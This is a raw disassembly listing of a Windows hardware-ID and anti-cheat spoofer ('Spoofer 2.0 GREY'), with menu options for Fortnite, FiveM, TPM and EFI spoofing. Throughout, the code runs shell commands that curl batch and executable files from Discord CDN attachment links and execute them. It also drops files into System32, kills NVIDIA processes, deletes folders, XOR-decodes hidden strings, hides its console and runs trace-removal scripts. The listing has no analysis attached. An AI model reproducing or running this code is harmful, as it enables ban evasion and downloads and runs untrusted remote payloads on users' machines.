lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea rdx, [rbp + 0x140]
subss xmm1, dword [rax + 0x28]
movss xmm0, dword [r14 + 0x38f8]
lea rcx, str.Serial_Checker
addss xmm0, xmm15
mov dword [rbp + 0x144], 0x41f00000
subss xmm1, xmm0
mulss xmm1, xmm12
movss dword [rbp + 0x140], xmm1
call fcn.14002eb80
test al, al
je 0x14005c48c
lea rcx, [rbp - 0x80]
mov byte [0x14031e118], r12b
call fcn.140054a10
mov rdx, rax
lea rcx, [0x14031e2b0]
call fcn.140060c80
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp - 0x80]
mov byte [0x14031e120], r12b
call fcn.140055010
mov rdx, rax
lea rcx, [0x14031e290]
call fcn.140060c80
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp - 0x80]
mov byte [0x14031e108], r12b
call fcn.140055d50
mov rdx, rax
lea rcx, [0x14031e308]
call fcn.140060c80
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp - 0x80]
mov byte [0x14031e119], r12b
call fcn.140055d70
mov rdx, rax
lea rcx, [0x14031e3b0]
call fcn.140060c80
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp - 0x80]
mov byte [0x14031e0f8], r12b
call fcn.1400549f0
mov rdx, rax
lea rcx, [0x14031e2e8]
call fcn.140060c80
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp - 0x80]
mov byte [0x14031e109], r12b
call fcn.140053f60
mov rdx, rax
lea rcx, [0x14031e340]
call fcn.140060c80
lea rcx, [rbp - 0x80]
call fcn.140031130
movaps xmm1, xmm15
movaps xmm0, xmm13
call fcn.140017540
mov rdx, qword [0x14031d9b0]
mov rax, qword [rdx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x14005c4c0
lea rcx, [rax + 0x260]
cmp qword [rdx + 0x4dd8], r13
je 0x14005c4c7
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea rdx, [rbp + 0x148]
subss xmm1, dword [rax + 0x28]
movss xmm0, dword [r14 + 0x38f8]
lea rcx, str.SPOOF
addss xmm0, xmm15
mov dword [rbp + 0x14c], 0x41f00000
subss xmm1, xmm0
mulss xmm1, xmm12
movss dword [rbp + 0x148], xmm1
call fcn.14002eb80
test al, al
je 0x14005cf75
cmp byte [0x14031dc09], r13b
mov dword [0x14031d9c4], 3
je 0x14005c7f8
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.140031190
mov r8d, 0x390a8
lea rdx, [0x1401ab120]
lea rcx, [rbp - 0x80]
call fcn.140046120
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp + 0x60]
call fcn.140045fb0
lea rcx, [rbp + 0x80]
mov rbx, rax
call fcn.140045fb0
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov r8, rax
mov rdx, r14
lea rcx, [rbp + 0x2b0]
call fcn.1400620d0
mov rdx, rax
lea r8, [0x1400fce1c]
lea rcx, [rbp + 0x1e0]
call fcn.140062380
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.1400623f0
mov rcx, rax
call fcn.140031120
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp + 0x1e0]
call fcn.140031130
lea rcx, [rbp + 0x2b0]
call fcn.140031130
lea rcx, [rbp + 0x80]
call fcn.140031130
lea rcx, [rbp + 0x60]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140045fb0
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.140045fb0
lea rsi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x2b0]
call fcn.1400620d0
mov rdx, rax
lea r8, [0x1400fce1c]
lea rcx, [rbp + 0x80]
call fcn.140062380
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.1400623f0
mov rcx, rax
call fcn.140031120
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140031130
lea rcx, [rbp + 0x80]
call fcn.140031130
lea rcx, [rbp + 0x2b0]
call fcn.140031130
lea rcx, [rbp + 0x1e0]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140045fb0
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.140045fb0
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0x2b0]
call fcn.1400620d0
mov rdx, rax
lea r8, [0x1400fce1c]
lea rcx, [rbp + 0x80]
call fcn.140062380
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.1400623f0
mov rcx, rax
call fcn.140031120
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140031130
lea rcx, [rbp + 0x80]
call fcn.140031130
lea rcx, [rbp + 0x2b0]
call fcn.140031130
lea rcx, [rbp + 0x1e0]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140031130
call fcn.140046230
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1201047362332798996_nprojecto.exe___output_C:Users_nprojecto.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1176296529477247038_1176300134989058190_Scripthook_bypass.exe___output_C:UsersScripthook_bypass.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1176296529477247038_1176301835359891567_FiveM_Cleanerino1.exe___output_C:UsersFiveM_Cleanerino1.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersScripthook_bypass.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Users_nprojecto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersFiveM_Cleanerino1.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140041070
call fcn.1400571f0
jmp 0x14005c80d
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
lea rsi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
cmp byte [0x14031da3d], r13b
je 0x14005cb38
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.140031190
mov r8d, 0x390a8
lea rdx, [0x1401ab120]
lea rcx, [rbp - 0x80]
call fcn.140046120
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140045fb0
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.140045fb0
mov r8, rax
lea rcx, [rbp + 0x2b0]
mov rdx, r14
call fcn.1400620d0
mov rdx, rax
lea r8, [0x1400fce1c]
lea rcx, [rbp + 0x80]
call fcn.140062380
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.1400623f0
mov rcx, rax
call fcn.140031120
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140031130
lea rcx, [rbp + 0x80]
call fcn.140031130
lea rcx, [rbp + 0x2b0]
call fcn.140031130
lea rcx, [rbp + 0x1e0]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140045fb0
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.140045fb0
mov r8, rax
lea rcx, [rbp + 0x2b0]
mov rdx, rsi
call fcn.1400620d0
mov rdx, rax
lea r8, [0x1400fce1c]
lea rcx, [rbp + 0x80]
call fcn.140062380
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.1400623f0
mov rcx, rax
call fcn.140031120
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140031130
lea rcx, [rbp + 0x80]
call fcn.140031130
lea rcx, [rbp + 0x2b0]
call fcn.140031130
lea rcx, [rbp + 0x1e0]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140045fb0
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.140045fb0
mov r8, rax
lea rcx, [rbp + 0x2b0]
mov rdx, rdi
call fcn.1400620d0
mov rdx, rax
lea r8, [0x1400fce1c]
lea rcx, [rbp + 0x80]
call fcn.140062380
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.1400623f0
mov rcx, rax
call fcn.140031120
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140031130
lea rcx, [rbp + 0x80]
call fcn.140031130
lea rcx, [rbp + 0x2b0]
call fcn.140031130
lea rcx, [rbp + 0x1e0]
call fcn.140031130
lea rcx, [rbp - 0x80]
call fcn.140031130
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1201047362332798996_nprojecto.exe___output_C:Users_nprojecto.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Users_nprojecto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14004c900
call fcn.1400571f0
call fcn.140041070
lea rsi, [0x14031dc10]
mov rbx, rsi
lea rdi, [0x14031ded0]
nop dword [rax]
mov dword [rbp - 0x40], 0x28363a
mov rcx, r13
mov byte [rbp - 0x3c], r12b
nop
lea eax, [rcx + 0x59]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 3
jb 0x14005cac0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x3c], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005caeb
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, r13
mov dword [rbp - 0x3b], 0x28363a
mov byte [rbp - 0x37], r12b
nop
lea eax, [rcx + 0x59]
xor byte [rbp + rcx - 0x3b], al
inc rcx
cmp rcx, 3
jb 0x14005cb00
lea rcx, [rbp - 0x3b]
mov byte [rbp - 0x37], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005cab0
jmp 0x14005cb46
lea rdi, [0x14031ded0]
lea rsi, [0x14031dc10]
cmp byte [0x14031da3c], r13b
je 0x14005cc01
cmp byte [0x14013120f], r13b
lea rdx, [0x1401311f0]
je 0x14005cb86
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx + 0x59]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x1e
jb 0x14005cb70
mov byte [0x14013120f], r13b
lea r8, [0x14013120e]
lea rcx, [rbp - 0x80]
call fcn.140062950
mov r8d, 0x60a00
lea rdx, str.MZS__A
lea rcx, [rbp - 0x80]
call fcn.140046120
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005cbe7
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cbe2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005dced
call fcn.1400cf980
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [0x14031dc08], r13b
je 0x14005cea6
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x14031cbe9], r13b
lea rdx, [0x14031cbd0]
je 0x14005cc56
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x59]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x18
jb 0x14005cc40
mov byte [0x14031cbe9], r13b
lea r8, [0x14031cbe8]
lea rcx, [rbp - 0x80]
call fcn.140062950
mov r8d, 0x5e670
lea rdx, [0x1402b6800]
lea rcx, [rbp - 0x80]
call fcn.140046120
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005ccb7
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ccb2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005dcf4
call fcn.1400cf980
cmp byte [0x14031c038], r13b
lea rdx, [0x14031c020]
je 0x14005cce6
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx + 0x59]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x17
jb 0x14005ccd0
mov byte [0x14031c038], r13b
lea r8, [0x14031c037]
lea rcx, [rbp - 0x80]
call fcn.140062950
mov r8d, 0x7180
lea rdx, [0x140314ea0]
lea rcx, [rbp - 0x80]
call fcn.140046120
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005cd47
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cd42
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005dcfb
call fcn.1400cf980
cmp byte [0x14031c2f1], r13b
lea rdx, [0x14031c2d8]
je 0x14005cd76
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx + 0x59]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x18
jb 0x14005cd60
mov byte [0x14031c2f1], r13b
lea r8, [0x14031c2f0]
lea rcx, [rbp - 0x80]
call fcn.140062950
mov r8d, 0x8788
lea rdx, [0x14029add0]
lea rcx, [rbp - 0x80]
call fcn.140046120
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005cdd7
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cdd2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005dd02
call fcn.1400cf980
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1198799358058053644_AmiSpoof.bat___output_C:UsersAmiSpoof.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersAMIDEWINx64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amigendrv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amifldrv64.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:UsersAmiSpoof.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call fcn.140041070
mov rbx, rsi
mov dword [rbp - 0x36], 0x28363a
mov rcx, r13
mov byte [rbp - 0x32], r12b
nop
lea eax, [rcx + 0x59]
xor byte [rbp + rcx - 0x36], al
inc rcx
cmp rcx, 3
jb 0x14005ce30
lea rcx, [rbp - 0x36]
mov byte [rbp - 0x32], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005ce5b
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, r13
mov dword [rbp - 0x31], 0x28363a
mov byte [rbp - 0x2d], r12b
nop
lea eax, [rcx + 0x59]
xor byte [rbp + rcx - 0x31], al
inc rcx
cmp rcx, 3
jb 0x14005ce70
lea rcx, [rbp - 0x31]
mov byte [rbp - 0x2d], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005ce20
cmp byte [0x14031dc0a], r13b
jne 0x14005dd09
cmp byte [0x14031da3e], r13b
je 0x14005cf75
call fcn.14004c900
mov rbx, rsi
nop dword [rax + rax]
mov dword [rbp - 0x2c], 0x28363a
mov rcx, r13
mov byte [rbp - 0x28], r12b
nop
lea eax, [rcx + 0x59]
xor byte [rbp + rcx - 0x2c], al
inc rcx
cmp rcx, 3
jb 0x14005cee0
lea rcx, [rbp - 0x2c]
mov byte [rbp - 0x28], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005cf0b
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, r13
mov dword [rbp - 0x27], 0x28363a
mov byte [rbp - 0x23], r12b
nop
lea eax, [rcx + 0x59]
xor byte [rbp + rcx - 0x27], al
inc rcx
cmp rcx, 3
jb 0x14005cf20
lea rcx, [rbp - 0x27]
mov byte [rbp - 0x23], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005ced0
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1199423382668718190_Remove_Trace__Clean.bat___output_C:UsersRemove_Trace__Clean.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersRemove_Trace__Clean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140041070
call fcn.14002dd60
movaps xmm1, xmm15
movaps xmm0, xmm13
call fcn.140017540
movss xmm4, dword [0x14031cc60]
lea r8, [rbp + 0x150]
movss xmm0, dword [0x14031cc64]
subss xmm4, xmm6
subss xmm0, xmm8
mov dword [rbp + 0x150], 0x41900000
movzx r9d, r12b
mov dword [rbp + 0x154], 0x41900000
lea rdx, [rbp + 0x158]
lea rcx, str.Container2
mulss xmm4, xmm12
movss dword [rbp + 0x15c], xmm0
movss dword [rbp + 0x158], xmm4
call fcn.14002d870
lea rdx, [0x14031dc09]
lea rcx, str.SPOOF_ALL
call fcn.1400304c0
call fcn.14002fff0
lea rdx, [0x14031da3d]
lea rcx, str.SPOOF_ASUS
call fcn.1400304c0
call fcn.14002fff0
lea rdx, [0x14031da3c]
lea rcx, str.TPM_CLEANER
call fcn.1400304c0
call fcn.14002fff0
lea rdx, [0x14031dc08]
lea rcx, str.FORTNITE_SPOOF
call fcn.1400304c0
call fcn.14002fff0
lea rdx, [0x14031dc0a]
lea rcx, str.EFI_SPOOFER
call fcn.1400304c0
call fcn.14002fff0
lea rdx, [0x14031da3e]
lea rcx, str.FIVEM_SPOOFER
call fcn.1400304c0
mov rcx, qword [0x14031d9b0]
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x114]
subss xmm1, dword [rax + 0x2c]
addss xmm1, dword [rax + 0x90]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
addss xmm1, dword [0x140102db4]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, xmm1
movss dword [rax + 0x114], xmm0
jmp 0x14005b67d
cmp eax, 2
jne 0x14005b682
movss xmm0, dword [0x14031cc60]
lea r8, [rbp + 0x160]
movss xmm1, dword [0x14031cc64]
lea rdx, [rbp + 0x168]
subss xmm0, dword [0x140102e14]
subss xmm1, dword [0x140102df8]
movzx r9d, r12b
mov dword [rbp + 0x160], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x164], 0x41200000
movss dword [rbp + 0x168], xmm0
movss dword [rbp + 0x16c], xmm1
call fcn.14002d870
jmp 0x14005b67d
cmp ecx, 3
jne 0x14005b68b
mov r8, qword [0x14031d9b0]
test r8, r8
jne 0x14005d17c
mov r8d, 0x10d9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [0x14031e11c]
mov r8, qword [0x14031d9b0]
movss xmm1, dword [r8 + 0x18]
mulss xmm1, dword [0x140102d7c]
cmp ecx, 3
jne 0x14005d199
movss xmm6, dword [0x140102e1c]
jmp 0x14005d19d
movaps xmm6, xmm13
subss xmm6, dword [0x14031e0f4]
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x220]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x14031e188]
mov rax, qword [r8 + 0x4038]
mulss xmm6, xmm1
movss xmm1, dword [0x14031e18c]
mov rbx, qword [rax + 0x2a8]
addss xmm6, dword [0x14031e0f4]
movss dword [rbp + 0x224], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x140102d08]
movss dword [rbp + 0x220], xmm0
movss xmm0, dword [0x14031e190]
mulss xmm1, dword [0x14031e194]
movss dword [0x14031e0f4], xmm6
movss dword [rbp + 0x228], xmm0
movss dword [rbp + 0x22c], xmm1
call fcn.140005350
movss xmm7, dword [0x14031cc60]
mov edi, eax
movss xmm8, dword [0x14031cc64]
movaps xmm0, xmm7
movss xmm9, dword [rbp + 0x20]
movaps xmm1, xmm8
movss xmm10, dword [rbp + 0x24]
mulss xmm0, xmm12
mulss xmm1, xmm12
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x170], xmm0
movss dword [rbp + 0x174], xmm1
test eax, 0xff000000
je 0x14005d30b
comiss xmm12, xmm6
ja 0x14005d30b
movss xmm0, dword [0x140102d9c]
subss xmm6, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x170]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140025200
movss xmm0, dword [0x140102d84]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140023840
mov r8, qword [0x14031d9b0]
movss xmm8, dword [0x14031cc64]
movss xmm7, dword [0x14031cc60]
movss xmm6, dword [0x14031e0f4]
mov dword [rbx + 0x78], r13d
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x230]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031e18c]
movss xmm0, dword [0x14031e188]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x234], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x140102d18]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x230], xmm0
movss xmm0, dword [0x14031e190]
mulss xmm1, dword [0x14031e194]
movss dword [rbp + 0x238], xmm0
movss dword [rbp + 0x23c], xmm1
call fcn.140005350
movaps xmm0, xmm7
movaps xmm1, xmm8
mulss xmm0, xmm12
movaps xmm2, xmm6
mov edi, eax
mulss xmm2, dword [0x140102d68]
mulss xmm1, xmm12
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x178], xmm0
movss dword [rbp + 0x17c], xmm1
test eax, 0xff000000
je 0x14005d448
comiss xmm12, xmm2
ja 0x14005d448
movss xmm0, dword [0x140102d9c]
subss xmm2, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x178]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
call fcn.140025200
movss xmm0, dword [0x140102d84]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140023840
mov r8, qword [0x14031d9b0]
movss xmm8, dword [0x14031cc64]
movss xmm7, dword [0x14031cc60]
movss xmm6, dword [0x14031e0f4]
mov dword [rbx + 0x78], r13d
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0xa0]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031e18c]
movss xmm0, dword [0x14031e188]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0xa4], xmm1
movss xmm1, dword [0x14031e194]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0xa0], xmm0
movss xmm0, dword [0x14031e190]
movss dword [rbp + 0xac], xmm1
movss dword [rbp + 0xa8], xmm0
call fcn.140005350
movaps xmm0, xmm7
movaps xmm1, xmm8
mulss xmm0, xmm12
movaps xmm2, xmm6
mov edi, eax
mulss xmm2, dword [0x140102d7c]
mulss xmm1, xmm12
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x180], xmm0
movss dword [rbp + 0x184], xmm1
test eax, 0xff000000
je 0x14005d57d
comiss xmm12, xmm2
ja 0x14005d57d
movss xmm0, dword [0x140102d9c]
subss xmm2, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x180]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
call fcn.140025200
movss xmm0, dword [0x140102d84]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140023840
mov r8, qword [0x14031d9b0]
movss xmm8, dword [0x14031cc64]
movss xmm7, dword [0x14031cc60]
movss xmm6, dword [0x14031e0f4]
mov dword [rbx + 0x78], r13d
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x40]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031e18c]
movss xmm0, dword [0x14031e188]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x44], xmm1
movss xmm1, dword [0x14031e194]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x40], xmm0
movss xmm0, dword [0x14031e190]
movss dword [rbp + 0x4c], xmm1
movss dword [rbp + 0x48], xmm0
call fcn.140005350
mulss xmm6, dword [0x140102d84]
mov edi, eax
mulss xmm7, xmm12
mulss xmm8, xmm12
addss xmm7, xmm9
addss xmm8, xmm10
movss dword [rbp + 0x188], xmm7
movss dword [rbp + 0x18c], xmm8
test eax, 0xff000000
je 0x14005d680
